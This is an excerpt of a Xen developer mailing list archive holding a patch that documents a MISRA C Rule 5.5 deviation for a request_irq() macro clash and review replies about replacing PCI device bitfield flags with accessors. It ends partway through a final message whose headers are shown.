    * - `Rule 5.6 <https://gitlab.com/MISRA/MISRA-C/MISRA-C-2012/Example-Su=
ite/-/blob/master/R_05_06.c>`_
      - Required
      - A typedef name shall be a unique identifier
--=20
2.43.0


From xen-devel-bounces@lists.xenproject.org Sun Jul 12 14:05:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 12 Jul 2026 14:05:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361069.1613579 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiuna-0001RX-V4; Sun, 12 Jul 2026 14:04:50 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361069.1613579; Sun, 12 Jul 2026 14:04:50 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiuna-0001RP-Q7; Sun, 12 Jul 2026 14:04:50 +0000
Received: by outflank-mailman (input) for mailman id 1361069;
 Sun, 12 Jul 2026 14:04:48 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmytro_prokopchuk1@epam.com>) id 1wiunY-00011z-Lm
 for xen-devel@lists.xenproject.org; Sun, 12 Jul 2026 14:04:48 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiunY-001wfr-2Q
 for xen-devel@lists.xenproject.org; Sun, 12 Jul 2026 16:04:48 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a539ec5-bab6-0a2a0a5309dd-0a2a450cb914-28
 for <xen-devel@lists.xenproject.org>; Sun, 12 Jul 2026 16:04:48 +0200
Received: from [52.101.83.131]
 (helo=GVXPR05CU001.outbound.protection.outlook.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a539eff-e897-0a2a450c0019-34655383bb6d-3
 for <xen-devel@lists.xenproject.org>; Sun, 12 Jul 2026 16:04:47 +0200
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com (2603:10a6:20b:3de::17)
 by AS2PR03MB9540.eurprd03.prod.outlook.com (2603:10a6:20b:597::6)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.23; Sun, 12 Jul
 2026 14:04:46 +0000
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba]) by AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba%5]) with mapi id 15.21.0181.019; Sun, 12 Jul 2026
 14:04:46 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=XIXYm8nLETFalaod7ahYh9tne8QIUChUnJIVG6wlGhZd4lR6+DU5esvhk01y+Zsa8Yc8DZeT2z/x7OfV8xKB9ciqZSXvd5R6Sni5ZFjt9e1Mk6ckB6fy5e0qGZnrqnvseufpgmhbhG4Uvauo4JOEQ1NCO6C+VITPBj4d/L80feH3xHKn48vXv/Ml/IjmhOIBSka3A6b3Tc8sxOYSPgL9NE2g/1XYAgu250tyKC/wGiM0sZRMCjggxy3AWEC6QkLXQ0grMEb+wz/Ewwdw9zD7ori8GuYhjGyqTil+ufS95kpoSxVB7pH7uCJg6EqJKBuz+h9NLhcCASDdM1oAHHzjAw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=0pZ1BxC6Bi6p0st6xJAQ+Jaqgwg9JBDmWidIIVcm3DY=;
 b=viqg/sZvTmdp3jX+qkR2dS0BXbIjXWfCSH2E2Ptpxfw7gZB+P4q5RhuRJoRE56MAWz8wuA8OJ8sz6UNZQ/qW4PEBbcVXCPrW6/EVNGnhyv+CKZHNXLMy+BgQvHaUmX4cX08JmIUmEv6aw2Go+jogfV/6CeV9Yj0aYTyIKwTG5ycb8PM3pKyJK3uedPeoJB6feSl3IOP+Pghm3XEudf9uM6yW53ZNmPvaucbSIMDAOPVPqPrV5ZWjOvG/vXzZsDBIgIZOpOktj3wEq00x1frAdqXrgcDz91z5N6UOts3b7iligbPIR8qg5PqHTF7ggpAqSPRj5VakFFFQzMju4rCa4A==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=0pZ1BxC6Bi6p0st6xJAQ+Jaqgwg9JBDmWidIIVcm3DY=;
 b=WFn1G+gNmwzD4cqHj7A4BNPGt39adXc5p4XRY8ZJtFeEo0dukSkXrFUenqBSuOhFDDq1J6XUyUGs+0sluQd/pVyVdpbZphUUYjIPBKi2q80mFh9ue8Y/1e0PGFPLN8MybWBaVnuNhlzM7GLmWyC1Tzr55qlTydn76ihWNd2Q0ir8NUIadpdpVF+2n6zkgVCSHfP3YCkYvcUhCgZYE5BBBeSZzmwsYVEin9YmTpmvNvDGxTOKw26tyDRb8s64r8YtdVnxBn5tr/+oCnMxAIFvuy6o4gib0V31kRVzm4HDqJsVbvWTkS/AxMZyKyvI5oBdPoAoXxr0kwnhIZhwLSLYEg==
From: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
CC: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>, Nicola Vetrini
	<nicola.vetrini@bugseng.com>, Doug Goldstein <cardoe@cardoe.com>, Stefano
 Stabellini <sstabellini@kernel.org>, Andrew Cooper
	<andrew.cooper3@citrix.com>, Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>, Julien
 Grall <julien@xen.org>, =?iso-8859-1?Q?Roger_Pau_Monn=E9?=
	<roger.pau@citrix.com>
Subject: [PATCH v2 2/3] misra: deviate MISRA C Rule 5.5 for 'request_irq()'
Thread-Topic: [PATCH v2 2/3] misra: deviate MISRA C Rule 5.5 for
 'request_irq()'
Thread-Index: AQHdEgdlLv7TI7G6yke6ZZX0wGJbmw==
Date: Sun, 12 Jul 2026 14:04:46 +0000
Message-ID:
 <db38c988b728a52bd7a921201e44558e43c7ed2c.1783864426.git.dmytro_prokopchuk1@epam.com>
References: <cover.1783864426.git.dmytro_prokopchuk1@epam.com>
In-Reply-To: <cover.1783864426.git.dmytro_prokopchuk1@epam.com>
Accept-Language: en-US, uk-UA, ru-RU
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: AM9PR03MB7526:EE_|AS2PR03MB9540:EE_
x-ms-office365-filtering-correlation-id: 1921255b-fac5-4f2a-94be-08dee01e8798
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|7416014|376014|366016|42112799006|23010399003|1800799024|38070700021|6133799003|56012099006|11063799006|18002099003|22082099003;
x-microsoft-antispam-message-info:
 b9g93jowf4YkdNINRrEtZEbCpazx+LN0AYN9BJBt43pH/0RugH0VxJg6WGDVAWqePMYfu6Ir9+S7z+xemBmwjwvU+KJ1E5ui9j4fUjEJqfL7t1Ei6KQf03IxJpXnHmOrIYOcBEIWS1h56xSSgggUqr9ODArYGiQclacboc2juD80HBRwmfYsPHdgwEb7WW6+Ovr1uz0fx8h0X5W7C1xL9TxcMR2owrtL1OdGNxktAhb6j/K5L4U/OdD/2yU9BxlgC7sLiBNQHFf2zZWacWrNdfM9NSt5zFDLQuH0k6jPWYSWZsFpKQcm84fL7KzjhlIANvVWtn7uOcy1AfZ5qGTVs6G16J+jVCDe62yfU8+Yv0SmPOjaZiwkxLR49LnlF41DiZluYRKBE9n4twW5h9L12M5nIDlFkvvH53g0VHKwXF6Sa7AdoOLwnsRIn+uZk61W4ONyzWnYFL4d0W7K2UNzthWT/0G1Y3HfBx18GoUJWN5ZTIf1fJMENYA2RhdKKaQRev73FB1ObZwUTVojULUusCc5W3Uhk6jN7psIc4fSnIl/djngaOLF3Ez36ntWP4SOOiKgyZQtFED9yfnP6/7AGoLTOgKwe6SpoE6MHrg50/WmatgkyUvfI2lvXye1Chv4it8U+AeitHQ7z/mG+FdESu9/vMSpXQ7jdbf4GAu32FGaA+DAe6otJGGxxJwASHPBSgTNZusrmsI3OauRhe48eWSdxv4YKSVKP/ejo/idrHk=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AM9PR03MB7526.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(7416014)(376014)(366016)(42112799006)(23010399003)(1800799024)(38070700021)(6133799003)(56012099006)(11063799006)(18002099003)(22082099003);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?iso-8859-1?Q?lOVuiFzehkbcRSWNxKJL1taZNj8TVQKPGTGrmgWLGvkw1SxCmYKwZZLT/y?=
 =?iso-8859-1?Q?HH80FG+V5n4ogoPAv5GsBAYRAHwtbhAMTNMr2TCMANeCJqZKmDx5nZr/1q?=
 =?iso-8859-1?Q?ffHhdExcdxbNU+2grDy7z1D2uYrVzV5R+6Bu40jAol5oodpPRnVq+j5IDw?=
 =?iso-8859-1?Q?p+2gGS6FJVgK4+oGx8g4yLVeicvo+wrpNBy+XhGFpzr0d0Y8xXVOPi+Pso?=
 =?iso-8859-1?Q?Ex3PqBYt0neM5hCEA682NbNH93bFQUz6sgTRktKpq15gsXkNfOCQLnKTGD?=
 =?iso-8859-1?Q?C/9CK8b/dtBGqgs9SVNluLsIZrjataNs+BdDBl8LdcU0pljf9+EdCnxP/F?=
 =?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Ctqsm53qKLQNg+ms2MAC+tPm7PqO3i0KNVeRvEmXzTeeZ7MvzwVuZpJ?=
 =?iso-8859-1?Q?gS+6n6+Sn+dE63ZxV1z+FcZcR91NPFHAT6eq/9IWKGz+7VndntW1bB3mF3?=
 =?iso-8859-1?Q?XKJQRFjmrCVTObBdfdYQW0XeA3uugP19sjtK6yIQ8ewZb2ixnF/ivAhHQr?=
 =?iso-8859-1?Q?bsR1zIKSEKmG6FkQ1ZJCdTaR+5NhlNQU3XpXdeE48CvHBhVRkrWG0C0b5e?=
 =?iso-8859-1?Q?aJ+FHuMa5Gzx+4NOa8mXx1LDO6RXW/4tTunAwNBaRWAQJlgY9ypzwQmiZs?=
 =?iso-8859-1?Q?5cQHLhdFkeawhzV37WZGm0WSwxIvGGK2rrv8yRM5NBpnS9wYF34goj6cxv?=
 =?iso-8859-1?Q?psmFYLp1ooWGQQQ4JSWpGDtkyIs8QSa2pikfgzbwHgho9T0kHFp266Mzoy?=
 =?iso-8859-1?Q?51uKUR2ECFYIBnE53gkoyhdjfpUbUbEsAQIEMRn/iEWiGm55zgOg2KQXCs?=
 =?iso-8859-1?Q?FpRDIQ1GlIRgCcbe99NAIQ1c5yNnoSWt2N9iY3VL3GCr0Zq9e/hh1ZfTBr?=
 =?iso-8859-1?Q?U16jfxJFqhEu6/PRA2poFuRYc0NpX7kKs1N/sPVV1dVnlyxthfc/9w2yl2?=
 =?iso-8859-1?Q?4HCB6vDRT3lBBGlbZgXhx0Q9Ol/fpEc=3D?=
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: AM9PR03MB7526.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 1921255b-fac5-4f2a-94be-08dee01e8798
X-MS-Exchange-CrossTenant-originalarrivaltime: 12 Jul 2026 14:04:46.1247
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: Qx4mbIYeN2Y27iyOqA/Y5XfGVae30gVtUPw+WGoM0gx2EYu/rPo1QBu+kiPCHQV/bGbc3AhuU5syrvkJwWOaUlrHVgtz/ZVKuZ5oPuzh3Rg=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: AS2PR03MB9540
X-purgate-ID: tlsNG-d25034/1783865088-57F636B2-C4CD68A7/0/0
X-purgate-type: clean
X-purgate-size: 3296

MISRA C Rule 5.5 states: "Identifiers shall be distinct from macro
names".

Update ECLAIR configuration to deviate identifier and macro name
clashes by specifying the macros that should be ignored.
This includes 'request_irq()', where the Xen function takes the IRQ
flags before the handler argument, while the macro adapts ARM SMMU
driver calls by reordering the arguments.

Update deviations.rst and rules.rst accordingly.

Signed-off-by: Dmytro Prokopchuk <dmytro_prokopchuk1@epam.com>
---
 automation/eclair_analysis/ECLAIR/deviations.ecl | 4 ++++
 docs/misra/deviations.rst                        | 7 +++++++
 docs/misra/rules.rst                             | 4 ++++
 3 files changed, 15 insertions(+)

diff --git a/automation/eclair_analysis/ECLAIR/deviations.ecl b/automation/=
eclair_analysis/ECLAIR/deviations.ecl
index 7e743f7c5e..f7ffd78a36 100644
--- a/automation/eclair_analysis/ECLAIR/deviations.ecl
+++ b/automation/eclair_analysis/ECLAIR/deviations.ecl
@@ -136,6 +136,10 @@ These macros address differences in argument count dur=
ing compile-time, effectiv
 -config=3DMC3A2.R5.5,ignored_macros+=3D"name(hypfs_alloc_dyndata)&&loc(fil=
e(^xen/include/xen/hypfs\\.h$))"
 -doc_end
=20
+-doc_begin=3D"Clash between 'request_irq()' function and macro name in 'xe=
n/drivers/passthrough/arm/smmu.c' is deliberate."
+-config=3DMC3A2.R5.5,ignored_macros+=3D"name(request_irq)&&loc(file(^xen/d=
rivers/passthrough/arm/smmu\\.c$))"
+-doc_end
+
 -doc_begin=3D"The type \"ret_t\" is deliberately defined multiple times,
 depending on the guest."
 -config=3DMC3A2.R5.6,reports+=3D{deliberate,"any_area(any_loc(text(^.*ret_=
t.*$)))"}
diff --git a/docs/misra/deviations.rst b/docs/misra/deviations.rst
index ab80f01195..3eb9912c45 100644
--- a/docs/misra/deviations.rst
+++ b/docs/misra/deviations.rst
@@ -185,6 +185,13 @@ Deviations related to MISRA C:2012 Rules:
        function, so the name clash is controlled.
      - ECLAIR has been configured to ignore this macro.
=20
+   * - R5.5
+     - Clash between the 'request_irq()' function and macro name is delibe=
rate.
+       The function uses the Xen 'request_irq()' argument order, while the=
 macro
+       is a compatibility wrapper for the ARM SMMU driver that adapts call=
s by
+       reordering the handler and flags arguments.
+     - ECLAIR has been configured to ignore this macro.
+
    * - R5.6
      - The type ret_t is deliberately defined multiple times depending on =
the
        type of guest to service.
diff --git a/docs/misra/rules.rst b/docs/misra/rules.rst
index 4f7b7fc848..40aff97a07 100644
--- a/docs/misra/rules.rst
+++ b/docs/misra/rules.rst
@@ -226,6 +226,10 @@ maintainers if you want to suggest a change.
        because the macro is a typed convenience wrapper around the size-ba=
sed
        allocation function.
=20
+       Clash between request_irq() function and macro names is allowed bec=
ause
+       the macro is a local compatibility wrapper that adapts ARM SMMU dri=
ver
+       call to Xen's request_irq() argument order.
+
    * - `Rule 5.6 <https://gitlab.com/MISRA/MISRA-C/MISRA-C-2012/Example-Su=
ite/-/blob/master/R_05_06.c>`_
      - Required
      - A typedef name shall be a unique identifier
--=20
2.43.0


From xen-devel-bounces@lists.xenproject.org Sun Jul 12 14:28:32 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 12 Jul 2026 14:28:32 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361119.1613595 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wivAN-0005gn-2g; Sun, 12 Jul 2026 14:28:23 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361119.1613595; Sun, 12 Jul 2026 14:28:23 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wivAM-0005gg-WD; Sun, 12 Jul 2026 14:28:23 +0000
Received: by outflank-mailman (input) for mailman id 1361119;
 Sun, 12 Jul 2026 14:28:22 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <lukas@wunner.de>) id 1wivAM-0005ga-21
 for xen-devel@lists.xenproject.org; Sun, 12 Jul 2026 14:28:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wivAJ-005TpH-Ib
 for xen-devel@lists.xenproject.org; Sun, 12 Jul 2026 16:28:19 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <lukas@wunner.de>)
 id 6a53a3fa-e002-0a2a0a5209dd-0a2a4508ab3c-18
 for <xen-devel@lists.xenproject.org>; Sun, 12 Jul 2026 16:28:19 +0200
Received: from [83.223.78.233] (helo=mailout2.hostsharing.net)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <lukas@wunner.de>)
 id 6a53a483-ee29-0a2a45080019-53df4ee99c7d-3
 for <xen-devel@lists.xenproject.org>; Sun, 12 Jul 2026 16:28:19 +0200
Received: from h08.hostsharing.net (h08.hostsharing.net
 [IPv6:2a01:37:1000::53df:5f1c:0])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange x25519 server-signature ECDSA (secp384r1) server-digest SHA384
 client-signature ECDSA (secp384r1) client-digest SHA384)
 (Client CN "*.hostsharing.net",
 Issuer "GlobalSign GCC R6 AlphaSSL CA 2025" (verified OK))
 by mailout2.hostsharing.net (Postfix) with ESMTPS id DD65710632;
 Sun, 12 Jul 2026 16:28:18 +0200 (CEST)
Received: by h08.hostsharing.net (Postfix, from userid 100393)
 id CA35D60211BE; Sun, 12 Jul 2026 16:28:18 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
Date: Sun, 12 Jul 2026 16:28:18 +0200
From: Lukas Wunner <lukas@wunner.de>
To: Maurice Hieronymus <mhi@mailbox.org>
Cc: Edward Cree <ecree.xilinx@gmail.com>,
	Andrew Lunn <andrew+netdev@lunn.ch>,
	"David S. Miller" <davem@davemloft.net>,
	Eric Dumazet <edumazet@google.com>,
	Jakub Kicinski <kuba@kernel.org>, Paolo Abeni <pabeni@redhat.com>,
	Bjorn Helgaas <bhelgaas@google.com>,
	Justin Tee <justin.tee@broadcom.com>,
	Paul Ely <paul.ely@broadcom.com>,
	"James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>,
	"Martin K. Petersen" <martin.petersen@oracle.com>,
	Juergen Gross <jgross@suse.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>,
	Miguel Ojeda <ojeda@kernel.org>, Boqun Feng <boqun@kernel.org>,
	Gary Guo <gary@garyguo.net>,
	=?iso-8859-1?Q?Bj=F6rn?= Roy Baron <bjorn3_gh@protonmail.com>,
	Benno Lossin <lossin@kernel.org>,
	Andreas Hindborg <a.hindborg@kernel.org>,
	Alice Ryhl <aliceryhl@google.com>, Trevor Gross <tmgross@umich.edu>,
	Daniel Almeida <daniel.almeida@collabora.com>,
	Tamir Duberstein <tamird@kernel.org>,
	Alexandre Courbot <acourbot@nvidia.com>,
	Onur =?iso-8859-1?Q?=D6zkan?= <work@onurozkan.dev>,
	Borislav Petkov <bp@alien8.de>, Tony Luck <tony.luck@intel.com>,
	Danilo Krummrich <dakr@kernel.org>, rust-for-linux@vger.kernel.org,
	netdev@vger.kernel.org, linux-net-drivers@amd.com,
	linux-kernel@vger.kernel.org, linux-pci@vger.kernel.org,
	linux-scsi@vger.kernel.org, xen-devel@lists.xenproject.org,
	linux-edac@vger.kernel.org
Subject: Re: [PATCH 1/2] PCI: Replace pci_dev->is_busmaster with accessors
Message-ID: <alOkgrK7Fm6opB4r@wunner.de>
References: <20260711-pci-dev-flags-v1-0-2fcf2811138c@mailbox.org>
 <20260711-pci-dev-flags-v1-1-2fcf2811138c@mailbox.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20260711-pci-dev-flags-v1-1-2fcf2811138c@mailbox.org>
X-purgate-ID: tlsNG-c1860d/1783866499-1177701C-C8FA5210/0/0
X-purgate-type: clean
X-purgate-size: 1056

On Sat, Jul 11, 2026 at 05:21:06PM +0200, Maurice Hieronymus wrote:
> `is_busmaster` is one bit of a ~60-bit C bitfield in `struct pci_dev`.
> Bits sharing a bitfield word must not be modified concurrently, but its
> writers take no common lock: `pci_set_master()` can run without the
> device lock (e.g. from runtime PM resume paths), `pci_disable_device()`
> clears the bit, and other bits in the same word are written from
> entirely different contexts, e.g. `broken_parity_status` from sysfs.
> Concurrent read-modify-write cycles of the shared word can then lose
> updates.
> 
> Move `is_busmaster` into a new `flags` bitmap modified with atomic
> bitops and accessed through generated accessor functions, following the
> example of commit a7cc262a1135 ("driver core: Replace dev->offline +
> ->offline_disabled with accessors"). More bitfield flags can follow the
> same pattern later.

We already have the priv_flags member in struct pci_dev,
please use that instead of adding another one for the same purpose.

Thanks,

Lukas


From xen-devel-bounces@lists.xenproject.org Sun Jul 12 14:55:42 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 12 Jul 2026 14:55:42 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361137.1613605 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wivag-00016D-14; Sun, 12 Jul 2026 14:55:34 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361137.1613605; Sun, 12 Jul 2026 14:55:34 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wivaf-000166-UU; Sun, 12 Jul 2026 14:55:33 +0000
Received: by outflank-mailman (input) for mailman id 1361137;
 Sun, 12 Jul 2026 14:55:32 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <lukas@wunner.de>) id 1wivae-000160-8F
 for xen-devel@lists.xenproject.org; Sun, 12 Jul 2026 14:55:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wivad-00B7hG-LW
 for xen-devel@lists.xenproject.org; Sun, 12 Jul 2026 16:55:31 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <lukas@wunner.de>)
 id 6a53aa97-2eae-0a2a0a5409dd-0a2a4508b060-10
 for <xen-devel@lists.xenproject.org>; Sun, 12 Jul 2026 16:55:31 +0200
Received: from [83.223.78.233] (helo=mailout2.hostsharing.net)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <lukas@wunner.de>)
 id 6a53aae3-ee29-0a2a45080019-53df4ee98ccb-3
 for <xen-devel@lists.xenproject.org>; Sun, 12 Jul 2026 16:55:31 +0200
Received: from h08.hostsharing.net (h08.hostsharing.net [83.223.95.28])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange x25519 server-signature ECDSA (secp384r1) server-digest SHA384
 client-signature ECDSA (secp384r1) client-digest SHA384)
 (Client CN "*.hostsharing.net",
 Issuer "GlobalSign GCC R6 AlphaSSL CA 2025" (verified OK))
 by mailout2.hostsharing.net (Postfix) with ESMTPS id 26AD310632;
 Sun, 12 Jul 2026 16:55:31 +0200 (CEST)
Received: by h08.hostsharing.net (Postfix, from userid 100393)
 id 032786022F08; Sun, 12 Jul 2026 16:55:30 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
Date: Sun, 12 Jul 2026 16:55:30 +0200
From: Lukas Wunner <lukas@wunner.de>
To: Maurice Hieronymus <mhi@mailbox.org>
Cc: Edward Cree <ecree.xilinx@gmail.com>,
	Andrew Lunn <andrew+netdev@lunn.ch>,
	"David S. Miller" <davem@davemloft.net>,
	Eric Dumazet <edumazet@google.com>,
	Jakub Kicinski <kuba@kernel.org>, Paolo Abeni <pabeni@redhat.com>,
	Bjorn Helgaas <bhelgaas@google.com>,
	Justin Tee <justin.tee@broadcom.com>,
	Paul Ely <paul.ely@broadcom.com>,
	"James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>,
	"Martin K. Petersen" <martin.petersen@oracle.com>,
	Juergen Gross <jgross@suse.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>,
	Miguel Ojeda <ojeda@kernel.org>, Boqun Feng <boqun@kernel.org>,
	Gary Guo <gary@garyguo.net>,
	=?iso-8859-1?Q?Bj=F6rn?= Roy Baron <bjorn3_gh@protonmail.com>,
	Benno Lossin <lossin@kernel.org>,
	Andreas Hindborg <a.hindborg@kernel.org>,
	Alice Ryhl <aliceryhl@google.com>, Trevor Gross <tmgross@umich.edu>,
	Daniel Almeida <daniel.almeida@collabora.com>,
	Tamir Duberstein <tamird@kernel.org>,
	Alexandre Courbot <acourbot@nvidia.com>,
	Onur =?iso-8859-1?Q?=D6zkan?= <work@onurozkan.dev>,
	Borislav Petkov <bp@alien8.de>, Tony Luck <tony.luck@intel.com>,
	Danilo Krummrich <dakr@kernel.org>, rust-for-linux@vger.kernel.org,
	netdev@vger.kernel.org, linux-net-drivers@amd.com,
	linux-kernel@vger.kernel.org, linux-pci@vger.kernel.org,
	linux-scsi@vger.kernel.org, xen-devel@lists.xenproject.org,
	linux-edac@vger.kernel.org
Subject: Re: [PATCH 2/2] PCI: Replace pci_dev->broken_parity_status with
 accessors
Message-ID: <alOq4rsjATipBjY9@wunner.de>
References: <20260711-pci-dev-flags-v1-0-2fcf2811138c@mailbox.org>
 <20260711-pci-dev-flags-v1-2-2fcf2811138c@mailbox.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20260711-pci-dev-flags-v1-2-2fcf2811138c@mailbox.org>
X-purgate-ID: tlsNG-c1860d/1783868131-7963301C-0AF12E1D/0/0
X-purgate-type: clean
X-purgate-size: 1898

